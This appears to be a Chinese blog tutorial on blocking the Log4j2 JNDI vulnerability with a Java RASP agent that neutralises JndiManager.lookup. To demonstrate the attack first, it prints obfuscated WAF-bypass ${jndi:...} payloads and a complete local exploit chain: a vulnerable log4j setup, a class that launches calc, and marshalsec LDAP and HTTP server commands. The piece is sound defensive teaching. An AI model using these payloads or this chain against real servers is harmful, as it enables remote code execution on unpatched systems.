天天看點

Rasp實踐Java版-Log4j2漏洞防護

作者:Java4Park

記得去年,log4j漏洞席卷Java圈,血流成河,影響之大并且使用難度很低.如今接觸到Rasp,那麼就用log4j的漏洞,感受一下Rasp!

Rasp實踐Java版-Log4j2漏洞防護

log4j漏洞的影響面之是以如此之大,主要還是log4j2的使用面實在是太廣了。筆者所在的公司也經曆了痛苦的更新過程,總結下來:

1.添加jvm啟動參數-Dlog4j2.formatMsgNoLookups=true;

2.在應用classpath下添加log4j2.component.properties配置檔案,檔案内容為log4j2.formatMsgNoLookups=true;

3.JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;

4.使用防火牆産品進行安全防護。

現在遇到新的選擇-Rasp,如果不了解可以檢視上一篇文章

新型應用安全保護技術-Rasp(Java篇)

Java 4Park,公衆号:進階面試工程師新型應用安全保護技術-Rasp(Java篇)

開發的同僚,修改配置,更新版本,重新開機....

而對于安全的同僚還是得依靠防火牆WAF,一般的攔截規則是攔截類似于:

${jndi:ldap://x.x.x.x:y/adsasd}
${jndi:rmi://x.x.x.x:y/adsasd}           

但是,擁有奇淫巧技的攻擊者,往往會做一些繞過操作,如:

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}:/
/xxxxxxx.xx/poc}           

防護起來需要不斷的累加規則,稍有不慎,可能導緻漏掉了某一規則,防護起來比較麻煩.

Rasp申請出戰

網絡上對于log4j的漏洞分析已經比較多了,總結下來,既當log4j遇到

${jndi:ldap://x.x.x.x:y/adsasd}

${jndi:rmi://x.x.x.x:y/adsasd}

時,最終是由org.apache.logging.log4j.core.net.JndiManager的lookup方法去執行RCE.

在Rasp的角度,隻需要攔截org.apache.logging.log4j.core.net.JndiManager的lookup方法即可,因為正常情況是不會使用這個方法的.

Rasp實踐Java版-Log4j2漏洞防護

進入團戰

首先搭建,log4j的靶場....引入有漏洞版本的log4j

<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-core</artifactId>
  <version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-api</artifactId>
  <version>2.14.1</version>
</dependency>           
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.IOException;
public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);
    public static void main(String[] args) throws IOException {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        logger.error("正常日志!");
        logger.error("${jndi:ldap://127.0.0.1:8082/Log4jRCE}");
        //阻塞住,不退出
     System.in.read();
    }
}           

啟動電腦.....

public class Log4jRCE {
    static {
        System.out.println("Log4jRCE from remote!");
        // 啟動電腦,在windows環境下
        try {
            String[] cmd = {"calc"};
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}           

同時啟動一個http服務和ldap服務(https://github.com/mbechler/marshalsec.git)

python -m http.server 8888


java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE" 8082           

對手上高地

Rasp實踐Java版-Log4j2漏洞防護
java -jar log4j-rce-1.0-SNAPSHOT-jar-with-dependencies.jar           
Rasp實踐Java版-Log4j2漏洞防護

360居然彈出了,也證明了,攻擊是成功的!

Rasp反殺

本次代碼:https://github.com/chaitin/log4j2-vaccine

public class Agent {
    /**
* 解碼傳遞參數
* @param arg
* @return
* @throws UnsupportedEncodingException
*/
    protected static String decodeArg(String arg) throws UnsupportedEncodingException {
        try {
            return URLDecoder.decode(arg, "UTF-16");
        } catch (UnsupportedEncodingException e) {
            return URLDecoder.decode(arg, "UTF-8");
        }
    }
    /**
* 啟動時加載的agent入口方法
*
* @param agentArg 啟動參數
* @param inst     {@link Instrumentation}
*/
    public static void premain(String agentArg, Instrumentation inst) {
        try {
            System.out.println("[Vaccine] Premain Agent");
            JndiManagerTransformer jndiManagerTransformer = new JndiManagerTransformer(inst);
            inst.addTransformer(jndiManagerTransformer, true);
            jndiManagerTransformer.retransform();
        }catch (Throwable e){
            e.printStackTrace();
        }
    }
    /**
* attach 機制加載 agent
*
* @param agentArg 啟動參數
* @param inst     {@link Instrumentation}
*/
    public static void agentmain(String agentArg, Instrumentation inst) {
        try {
            System.out.println("[Vaccine] Attach Agent");
            JndiManagerTransformer jndiManagerTransformer = new JndiManagerTransformer(inst);
            inst.addTransformer(jndiManagerTransformer, true);
            jndiManagerTransformer.retransform();
        }catch (Throwable e){
            System.out.println("[Vaccine] Error "+ e.getMessage());
            e.printStackTrace();
        }
    }
}           

主要看21-53行

public class JndiManagerTransformer implements ClassFileTransformer {
    private Instrumentation inst;
    private static String JndiManagerClassName = "org.apache.logging.log4j.core.net.JndiManager";
    private static String JndiManagerLookupMethodName = "lookup";


    public JndiManagerTransformer(Instrumentation inst){
        this.inst = inst;
    }


    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        if(className.replace("/",".").equals(JndiManagerClassName)){
            System.out.println("發現加載 JndiManager  !");
            CtClass ctClass = null;
            CtMethod ctMethod = null;
            try{
                // 初始化classPool
                ClassPool classPool = new ClassPool();
                classPool.appendSystemPath();
                if (loader != null) {
                    classPool.appendClassPath(new LoaderClassPath(loader));
                }
                // 構造CtClass
                ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
                // 擷取lookup方法
                for(CtMethod method:ctClass.getMethods()){
                    if(method.getName().equals(JndiManagerLookupMethodName)){
                        System.out.println("找到 lookup 方法  !");
                        ctMethod = method;
                        break;
                    }
                }
                // 修改lookup方法
                assert ctMethod != null;
             String src=" " +
                     "System.out.println(\"發現org.apache.logging.log4j.core.net.JndiManager.lookup執行....直接攔截\"); " +
                     "return null;" +
                     "";
                ctMethod.insertBefore(src);
                // 傳回位元組碼
                System.out.println("修改 Lookup 方法完成!");
                return ctClass.toBytecode();
            }catch (Exception e){
                e.printStackTrace();
            }finally {
                if (ctClass != null) {
                    ctClass.detach();
                }
            }
        }else{
            return classfileBuffer;
        }
        return classfileBuffer;
    }
    public void retransform() {
        Class<?>[] loadedClasses = inst.getAllLoadedClasses();
        for (Class<?> clazz : loadedClasses) {
            if (clazz.getName().replace("/", ".").equals(JndiManagerClassName)) {
                System.out.println("[Vaccine] Find Loaded JndiManager Lookup Method!");
                try {
                        inst.retransformClasses(clazz);
                    } catch (Throwable t) {
                        System.out.println("failed to retransform class " + clazz.getName() + ": " + t.getMessage());
                    }
            }
        }
    }




}           

在org.apache.logging.log4j.core.net.JndiManager的lookup方法的入口寫入代碼.

String src=" " +
                     "System.out.println(\"發現org.apache.logging.log4j.core.net.JndiManager.lookup執行....直接攔截\"); " +
                     "return null;" +
                     "";
                ctMethod.insertBefore(src);

           

我們再次執行

java -javaagent:agent.jar -jar log4j-rce-1.0-SNAPSHOT-jar-with-dependencies.jar           
Rasp實踐Java版-Log4j2漏洞防護

如果我們的應用在運作中,借助attach,注入到程序中即可...loader裡的代碼大部分借鑒了阿裡arthas的attach...

Rasp實踐Java版-Log4j2漏洞防護

經過這個例子rasp防護的原理和步驟,應該就有了一個比較清晰的了解了.比較難的點在于,如何确認"樁"的位置,需要大量的時間看源碼才能确定,需要比較深入的了解常用架構的機制.

如果對您有幫助,請關注一下這個二流程式員的公衆号搜尋 --> 進階面試工程師,謝謝!